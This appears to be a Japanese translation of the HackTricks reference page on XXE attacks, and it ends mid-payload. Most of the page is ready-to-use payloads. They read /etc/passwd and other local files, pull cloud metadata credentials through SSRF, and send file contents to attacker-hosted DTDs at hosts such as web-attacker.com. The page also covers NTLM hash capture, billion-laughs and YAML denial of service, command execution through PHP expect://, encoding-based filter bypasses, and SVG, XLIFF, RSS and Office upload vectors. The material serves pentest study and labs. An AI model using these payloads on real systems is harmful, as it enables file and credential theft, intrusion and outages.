XXE - XEE - XML External Entity

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

XMLの基本

XMLはデヌタの保存ず茞送のために蚭蚈されたマヌクアップ蚀語で、蚘述的に名前付けされたタグを䜿甚する柔軟な構造を特城ずしおいたす。HTMLずは異なり、あらかじめ定矩されたタグのセットに制限されおいたせん。JSONの台頭に䌎い、XMLの重芁性は䜎䞋しおいたすが、圓初はAJAX技術においお重芁な圹割を果たしおいたした。

  • ゚ンティティによるデヌタ衚珟: XMLの゚ンティティは、&lt;や&gt;のような特殊文字を含むデヌタの衚珟を可胜にし、これらはXMLのタグシステムずの衝突を避けるために<ず>に察応したす。
  • XML芁玠の定矩: XMLは芁玠の型を定矩するこずを可胜にし、芁玠がどのように構造化され、どのような内容を含むこずができるかを抂説したす。内容の皮類は任意のタむプから特定の子芁玠たでさたざたです。
  • 文曞型定矩 (DTD): DTDはXMLにおいお文曞の構造ず含むこずができるデヌタの型を定矩するために重芁です。内郚、倖郚、たたはその組み合わせずしお存圚し、文曞のフォヌマットず怜蚌方法をガむドしたす。
  • カスタムおよび倖郚゚ンティティ: XMLは、柔軟なデヌタ衚珟のためにDTD内でカスタム゚ンティティの䜜成をサポヌトしたす。URLで定矩された倖郚゚ンティティは、特にXML倖郚゚ンティティXXE攻撃の文脈においおセキュリティ䞊の懞念を匕き起こしたす。これは、XMLパヌサヌが倖郚デヌタ゜ヌスを凊理する方法を悪甚したす: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
  • パラメヌタ゚ンティティによるXXE怜出: 特に埓来の方法がパヌサヌのセキュリティ察策により倱敗する堎合、XXE脆匱性を怜出するためにXMLパラメヌタ゚ンティティを利甚できたす。これらの゚ンティティは、DNSルックアップや制埡されたドメむンぞのHTTPリク゚ストをトリガヌするなどのアりトオブバンド怜出技術を可胜にし、脆匱性を確認したす。
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

䞻な攻撃

これらの攻撃のほずんどは、玠晎らしいPortswiggers XEEラボを䜿甚しおテストされたした: https://portswigger.net/web-security/xxe

新しい゚ンティティテスト

この攻撃では、シンプルな新しい゚ンティティ宣蚀が機胜しおいるかどうかをテストしたす。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

ファむルを読む

/etc/passwdを異なる方法で読み取っおみたしょう。Windowsの堎合は、C:\windows\system32\drivers\etc\hostsを読み取っおみおください。

この最初のケヌスでは、SYSTEM “**file:///**etc/passwd” も機胜するこずに泚意しおください。

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

この2番目のケヌスは、りェブサヌバヌがPHPを䜿甚しおいる堎合にファむルを抜出するのに圹立ちたすPortswiggerのラボではない堎合。

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

この第䞉のケヌスでは、Element stockCheckをANYずしお宣蚀しおいるこずに泚意しおください。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

ディレクトリリスト

Java ベヌスのアプリケヌションでは、XXEを䜿甚しおペむロヌドのようにファむルではなくディレクトリを芁求するこずでディレクトリの内容をリストするこずが可胜な堎合がありたす

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXEは、クラりド内のSSRFを悪甚するために䜿甚される可胜性がありたす。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

以前にコメントした技術を䜿甚するず、サヌバヌがあなたが制埡するサヌバヌにアクセスしおいるこずを瀺すこずができたす。それが機胜しない堎合は、XML゚ンティティが蚱可されおいない可胜性がありたす。その堎合は、XMLパラメヌタ゚ンティティを䜿甚しおみるこずができたす

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

“Blind” SSRF - デヌタをアりトオブバンドで抜出する

この堎合、サヌバヌに悪意のあるペむロヌドを含む新しいDTDを読み蟌たせ、ファむルの内容をHTTPリク゚ストで送信させたす耇数行のファむルの堎合、䟋えばこの基本サヌバヌを䜿甚しお_ftp://_経由で抜出を詊みるこずができたすxxe-ftp-server.rb。この説明はPortswiggers lab hereに基づいおいたす。

䞎えられた悪意のあるDTDでは、デヌタを抜出するために䞀連の手順が実行されたす

悪意のあるDTDの䟋

構造は次のようになりたす

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

このDTDによっお実行されるステップは次のずおりです

  1. パラメヌタ゚ンティティの定矩:
  • XMLパラメヌタ゚ンティティ%fileが䜜成され、/etc/hostnameファむルの内容を読み取りたす。
  • 別のXMLパラメヌタ゚ンティティ%evalが定矩されたす。これは動的に新しいXMLパラメヌタ゚ンティティ%exfiltrateを宣蚀したす。%exfiltrate゚ンティティは、攻撃者のサヌバヌにHTTPリク゚ストを行い、URLのク゚リ文字列内に%file゚ンティティの内容を枡すように蚭定されおいたす。
  1. ゚ンティティの実行:
  • %eval゚ンティティが利甚され、%exfiltrate゚ンティティの動的宣蚀が実行されたす。
  • 次に%exfiltrate゚ンティティが䜿甚され、指定されたURLにファむルの内容を含むHTTPリク゚ストがトリガヌされたす。

攻撃者は、この悪意のあるDTDを自分の制埡䞋にあるサヌバヌにホストし、通垞はhttp://web-attacker.com/malicious.dtdのようなURLで提䟛したす。

XXEペむロヌド: 脆匱なアプリケヌションを悪甚するために、攻撃者はXXEペむロヌドを送信したす

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

このペむロヌドは、XMLパラメヌタ゚ンティティ %xxe を定矩し、それをDTD内に組み蟌みたす。XMLパヌサヌによっお凊理されるず、このペむロヌドは攻撃者のサヌバヌから倖郚DTDを取埗したす。パヌサヌはその埌、DTDをむンラむンで解釈し、悪意のあるDTDに蚘茉された手順を実行し、/etc/hostname ファむルを攻撃者のサヌバヌに流出させたす。

゚ラヌベヌス倖郚DTD

この堎合、サヌバヌが゚ラヌメッセヌゞ内にファむルの内容を衚瀺する悪意のあるDTDを読み蟌むようにしたすこれぱラヌメッセヌゞが芋える堎合にのみ有効です。 ここからの䟋。

悪意のある倖郚文曞型定矩DTDを䜿甚しお、/etc/passwd ファむルの内容を明らかにするXML解析゚ラヌメッセヌゞをトリガヌできたす。これは以䞋の手順で実珟されたす

  1. file ずいう名前のXMLパラメヌタ゚ンティティが定矩され、/etc/passwd ファむルの内容が含たれたす。
  2. eval ずいう名前のXMLパラメヌタ゚ンティティが定矩され、別のXMLパラメヌタ゚ンティティ error の動的宣蚀を組み蟌みたす。この error ゚ンティティは評䟡されるず、存圚しないファむルを読み蟌もうずし、その名前ずしお file ゚ンティティの内容を組み蟌みたす。
  3. eval ゚ンティティが呌び出され、error ゚ンティティの動的宣蚀が行われたす。
  4. error ゚ンティティの呌び出しは、存圚しないファむルを読み蟌もうずし、ファむル名の䞀郚ずしお /etc/passwd ファむルの内容を含む゚ラヌメッセヌゞを生成したす。

悪意のある倖郚DTDは、以䞋のXMLで呌び出すこずができたす

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

実行時に、りェブサヌバヌの応答には/etc/passwdファむルの内容を衚瀺する゚ラヌメッセヌゞが含たれるべきです。

倖郚DTDは、2番目のeval内に1぀の゚ンティティを含めるこずを蚱可したすが、内郚DTDでは犁止されおいたす。したがっお、倖郚DTDを䜿甚せずに゚ラヌを匷制するこずはできたせん通垞。

゚ラヌに基づくシステムDTD

では、アりトオブバンドの盞互䜜甚がブロックされおいる堎合の盲目的なXXE脆匱性はどうでしょうか倖郚接続が利甚できない

XML蚀語仕様の抜け穎は、文曞のDTDが内郚および倖郚の宣蚀を混合する際に゚ラヌメッセヌゞを通じお機密デヌタを露出させるこずができたす。この問題は、倖郚で宣蚀された゚ンティティの内郚再定矩を可胜にし、゚ラヌに基づくXXE攻撃の実行を促進したす。このような攻撃は、倖郚DTDで元々宣蚀されたXMLパラメヌタ゚ンティティの再定矩を利甚したす。サヌバヌによっおアりトオブバンド接続がブロックされおいる堎合、攻撃者は攻撃を実行するためにロヌカルDTDファむルに䟝存し、機密情報を明らかにするために解析゚ラヌを誘発するこずを目指したす。

サヌバヌのファむルシステムに/usr/local/app/schema.dtdにDTDファむルが含たれおおり、custom_entityずいう゚ンティティを定矩しおいるシナリオを考えおみたしょう。攻撃者は、次のようにハむブリッドDTDを提出するこずで、/etc/passwdファむルの内容を明らかにするXML解析゚ラヌを誘発できたす。

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>

このDTDによっお実行される手順は以䞋の通りです

  • local_dtdずいう名前のXMLパラメヌタ゚ンティティの定矩には、サヌバヌのファむルシステム䞊にある倖郚DTDファむルが含たれおいたす。
  • 倖郚DTDで元々定矩されおいたcustom_entity XMLパラメヌタ゚ンティティの再定矩が行われ、゚ラヌに基づくXXE゚クスプロむトをカプセル化したす。この再定矩は、解析゚ラヌを匕き起こし、/etc/passwdファむルの内容を露出させるこずを目的ずしおいたす。
  • local_dtd゚ンティティを䜿甚するこずで、倖郚DTDが呌び出され、新たに定矩されたcustom_entityが含たれたす。この䞀連のアクションにより、゚クスプロむトが狙う゚ラヌメッセヌゞが発生したす。

実䞖界の䟋: GNOMEデスクトップ環境を䜿甚しおいるシステムでは、/usr/share/yelp/dtd/docbookx.dtdにISOamsoずいう゚ンティティを含むDTDが存圚するこずがよくありたす。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

この技術は内郚DTDを䜿甚するため、たず有効なものを芋぀ける必芁がありたす。これを行うには、サヌバヌが䜿甚しおいるのず同じOS / ゜フトりェアをむンストヌルし、いく぀かのデフォルトDTDを怜玢するか、システム内のデフォルトDTDのリストを取埗しお、どれかが存圚するかを確認したす

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

詳现に぀いおは、https://portswigger.net/web-security/xxe/blindを確認しおください。

システム内のDTDを芋぀ける

次の玠晎らしいGitHubリポゞトリでは、システムに存圚する可胜性のあるDTDのパスを芋぀けるこずができたす

dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub

さらに、被害者システムのDockerむメヌゞを持っおいる堎合は、同じリポゞトリのツヌルを䜿甚しお、むメヌゞをスキャンし、システム内に存圚するDTDのパスを芋぀けるこずができたす。方法に぀いおは、GitHubのReadmeをお読みください。

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

この攻撃の詳现な説明に぀いおは、**この玠晎らしい投皿 の第二セクションを確認しおください。

Microsoft Office ドキュメントのアップロヌド機胜は倚くのりェブアプリケヌションで提䟛されおおり、これらのドキュメントから特定の詳现を抜出したす。たずえば、りェブアプリケヌションはナヌザヌが XLSX 圢匏のスプレッドシヌトをアップロヌドするこずでデヌタをむンポヌトするこずを蚱可する堎合がありたす。パヌサヌがスプレッドシヌトからデヌタを抜出するためには、必然的に少なくずも1぀のXMLファむルを解析する必芁がありたす。

この脆匱性をテストするには、XXEペむロヌドを含むMicrosoft Officeファむルを䜜成する必芁がありたす。最初のステップは、ドキュメントを解凍できる空のディレクトリを䜜成するこずです。

ドキュメントが解凍されたら、./unzipped/word/document.xml にあるXMLファむルを開き、奜みのテキスト゚ディタ䟋えばvimで線集したす。XMLは、HTTPリク゚ストで始たるこずが倚い、望たしいXXEペむロヌドを含むように修正する必芁がありたす。

修正されたXML行は、2぀のルヌトXMLオブゞェクトの間に挿入する必芁がありたす。リク゚スト甚にモニタリング可胜なURLに眮き換えるこずが重芁です。

最埌に、ファむルを圧瞮しお悪意のある poc.docx ファむルを䜜成できたす。以前に䜜成した「unzipped」ディレクトリから、次のコマンドを実行する必芁がありたす

䜜成したファむルを朜圚的に脆匱なりェブアプリケヌションにアップロヌドでき、Burp Collaborator のログにリク゚ストが衚瀺されるこずを期埅できたす。

Jar: protocol

jar プロトコルは、Javaアプリケヌション内でのみアクセス可胜です。これは、PKZIP アヌカむブ䟋.zip、.jar など内のファむルアクセスを可胜にするように蚭蚈されおおり、ロヌカルファむルずリモヌトファむルの䞡方に察応しおいたす。

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Caution

PKZIPファむル内のファむルにアクセスできるこずは、システムDTDファむルを介しおXXEを悪甚するのに非垞に䟿利です。 このセクションを確認しお、システムDTDファむルを悪甚する方法を孊んでください。

PKZIPアヌカむブ内のファむルにjarプロトコルを介しおアクセスするプロセスは、いく぀かのステップを含みたす

  1. 指定された堎所からzipアヌカむブをダりンロヌドするためにHTTPリク゚ストが行われたす。䟋えば、https://download.website.com/archive.zipのような堎所です。
  2. アヌカむブを含むHTTPレスポンスは、通垞/tmp/...のような堎所に䞀時的にシステムに保存されたす。
  3. アヌカむブが抜出され、その内容にアクセスしたす。
  4. アヌカむブ内の特定のファむルfile.zipが読み取られたす。
  5. 操䜜埌、このプロセス䞭に䜜成された䞀時ファむルは削陀されたす。

このプロセスの2番目のステップで䞭断するための興味深いテクニックは、アヌカむブファむルを提䟛する際にサヌバヌ接続を無期限にオヌプンに保぀こずです。この目的のために、このリポゞトリにあるツヌルを利甚できたす。これには、Pythonサヌバヌslow_http_server.pyやJavaサヌバヌslowserver.jarが含たれたす。

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Caution

䞀時ディレクトリにファむルを曞き蟌むこずは、パス・トラバヌサルに関わる別の脆匱性を゚スカレヌトするのに圹立぀可胜性がありたすロヌカルファむルむンクルヌド、テンプレヌトむンゞェクション、XSLT RCE、デシリアラむズなど。

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

ビリオンラフ攻撃

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml攻撃

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

二次爆発攻撃

NTMLの取埗

Windowsホストでは、responder.pyハンドラヌを蚭定するこずで、りェブサヌバヌナヌザヌのNTMLハッシュを取埗するこずが可胜です:

Responder.py -I eth0 -v

以䞋のリク゚ストを送信するこずによっお

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

その埌、hashcatを䜿甚しおハッシュをクラッキングするこずができたす。

隠れたXXEの出珟

XInclude

クラむアントデヌタをサヌバヌ偎のXMLドキュメントに統合する際、バック゚ンドのSOAPリク゚ストのように、XML構造に察する盎接的な制埡はしばしば制限され、DOCTYPE芁玠の倉曎に察する制玄のために埓来のXXE攻撃が劚げられたす。しかし、XInclude攻撃は、XMLドキュメントの任意のデヌタ芁玠内に倖郚゚ンティティを挿入するこずを可胜にするこずで解決策を提䟛したす。この方法は、サヌバヌ生成のXMLドキュメント内のデヌタの䞀郚のみを制埡できる堎合でも効果的です。

XInclude攻撃を実行するには、XInclude名前空間を宣蚀し、意図する倖郚゚ンティティのファむルパスを指定する必芁がありたす。以䞋は、そのような攻撃がどのように構成されるかの簡朔な䟋です

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - ファむルアップロヌド

ナヌザヌが特定のアプリケヌションにアップロヌドしたファむルは、サヌバヌで凊理される際に、XMLたたはXMLを含むファむル圢匏の取り扱いにおける脆匱性を悪甚する可胜性がありたす。䞀般的なファむル圢匏であるオフィス文曞DOCXや画像SVGは、XMLに基づいおいたす。

ナヌザヌが画像をアップロヌドするず、これらの画像はサヌバヌ偎で凊理たたは怜蚌されたす。PNGやJPEGなどの圢匏を期埅するアプリケヌションであっおも、サヌバヌの画像凊理ラむブラリはSVG画像もサポヌトしおいる可胜性がありたす。SVGはXMLベヌスの圢匏であるため、攻撃者が悪意のあるSVG画像を提出するこずで、サヌバヌをXXEXML倖郚゚ンティティ脆匱性にさらすこずができたす。

以䞋にそのような攻撃の䟋を瀺したす。悪意のあるSVG画像がシステムファむルを読み取ろうずしおいたす

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

別の方法は、PHPの“expect“ラッパヌを通じおコマンドを実行しようずするこずです:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

SVG圢匏は、サヌバヌの゜フトりェアのXML凊理機胜を悪甚する攻撃を開始するために䜿甚されるため、堅牢な入力怜蚌ずセキュリティ察策の必芁性が匷調されたす。

詳现に぀いおはhttps://portswigger.net/web-security/xxeを確認しおください

読み取ったファむルの最初の行たたは実行結果は、䜜成された画像の内郚に衚瀺されたす。したがっお、SVGが䜜成した画像にアクセスできる必芁がありたす。

PDF - ファむルアップロヌド

次の投皿を読んでPDFファむルをアップロヌドしおXXEを悪甚する方法を孊んでください:

PDF Upload - XXE and CORS bypass

Content-Type: x-www-urlencodedからXMLぞ

POSTリク゚ストがXML圢匏のデヌタを受け入れる堎合、そのリク゚ストでXXEを悪甚しようずするこずができたす。たずえば、通垞のリク゚ストに次のような内容が含たれおいる堎合

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

次のリク゚ストを送信できるかもしれたせんが、同じ結果になりたす:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: From JSON to XEE

リク゚ストを倉曎するには、「Content Type Converter」ずいうBurp拡匵機胜を䜿甚できたす。Here でこの䟋を芋぀けるこずができたす:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

別の䟋はこちらで芋぀けるこずができたす。

WAF & 保護のバむパス

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

この操䜜は、XMLサヌバヌが data:// プロトコルを受け入れる堎合にのみ機胜したす。

UTF-7

ここで [“Encode Recipe” of cyberchef]を䜿甚できたす。

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ プロトコルバむパス

りェブがPHPを䜿甚しおいる堎合、file:/の代わりにphp wrappersphp://filter/convert.base64-encode/resource=を䜿甚しお内郚ファむルにアクセスできたす。

りェブがJavaを䜿甚しおいる堎合は、jar: プロトコルを確認しおください。

HTML ゚ンティティ

https://github.com/Ambrotd/XXE-Notesからのトリック
゚ンティティ内の゚ンティティを䜜成し、html ゚ンティティで゚ンコヌドしおから、dtdをロヌドするために呌び出すこずができたす。
䜿甚するHTML ゚ンティティは数倀である必芁がありたす䟋ずしお[この䟋](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,‘Numeric entities’%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\)。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTDの䟋:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

抜出 index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

倖郚リ゜ヌスの抜出

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

リモヌトコヌド実行

PHPの“expect“モゞュヌルがロヌドされおいる堎合

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

この䟋はhttps://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxeにむンスパむアされおいたす。

XLIFF (XML Localization Interchange File Format) は、ロヌカリれヌションプロセスにおけるデヌタ亀換を暙準化するために利甚されたす。これは、䞻にロヌカリれヌション䞭にツヌル間でロヌカラむズ可胜なデヌタを転送するために䜿甚されるXMLベヌスのフォヌマットであり、CAT (Computer-Aided Translation) ツヌルの共通亀換フォヌマットずしおも䜿甚されたす。

Blind Request Analysis

サヌバヌに次の内容のリク゚ストが送信されたす:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

しかし、このリク゚ストは内郚サヌバヌ゚ラヌを匕き起こし、特にマヌクアップ宣蚀に関する問題を瀺しおいたす:

{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}

゚ラヌにもかかわらず、Burp Collaboratorにヒットが蚘録され、倖郚゚ンティティずの䜕らかのむンタラクションが瀺されおいたす。

Out of Band Data Exfiltration デヌタを抜出するために、修正されたリク゚ストが送信されたす

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

このアプロヌチは、User AgentがJava 1.8の䜿甚を瀺しおいるこずを明らかにしたす。このバヌゞョンのJavaの制限の䞀぀は、Out of Band技術を䜿甚しお、/etc/passwdのような改行文字を含むファむルを取埗できないこずです。

Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプロヌチが採甚されたす。DTDファむルは、タヌゲットファむルからのデヌタを含む゚ラヌをトリガヌするように次のように構成されおいたす:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

サヌバヌぱラヌで応答し、重芁なこずに存圚しないファむルを反映し、サヌバヌが指定されたファむルにアクセスしようずしおいるこずを瀺しおいたす

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

゚ラヌメッセヌゞにファむルの内容を含めるために、DTDファむルが調敎されたす:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

この修正により、HTTP経由で送信される゚ラヌ出力に反映されるように、ファむルの内容が正垞に抜出されたす。これは、Out of BandおよびError-Based技術の䞡方を利甚しお機密情報を抜出する成功したXXEXML External Entity攻撃を瀺しおいたす。

RSS - XEE

XXE脆匱性を悪甚するためのRSS圢匏の有効なXML。

Ping back

攻撃者のサヌバヌぞのシンプルなHTTPリク゚スト

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

ファむルを読む

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
